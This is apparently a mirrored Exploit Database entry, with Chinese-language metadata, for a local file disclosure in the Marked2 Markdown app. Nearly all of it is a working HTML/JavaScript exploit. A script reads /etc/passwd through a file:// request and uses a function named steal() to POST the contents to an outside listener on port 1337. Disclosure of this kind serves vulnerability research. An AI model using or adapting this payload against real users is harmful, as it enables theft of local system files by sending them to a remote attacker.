Marked2 – Local File Disclosure

Exploit Database
125 阅读

作者： Corben Leo

日期： 2018-02-06
类别：
- local
平台：
- multiple
来源：https://www.exploit-db.com/exploits/44006/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

<body>

<script>

var file = "file:///etc/passwd";

var extract = "http://dev.example.com:1337/";

function get(url) {

var xmlHttp = new XMLHttpRequest();

xmlHttp.open("GET", url, false);

xmlHttp.send(null);

return xmlHttp.responseText;

}

function steal(data) {

var xhr = new XMLHttpRequest();

xhr.open('POST', extract, true);

xhr.onload = function() {};

xhr.send(data);

}

var cdl = get(file);

steal(cdl);

</script>

</body>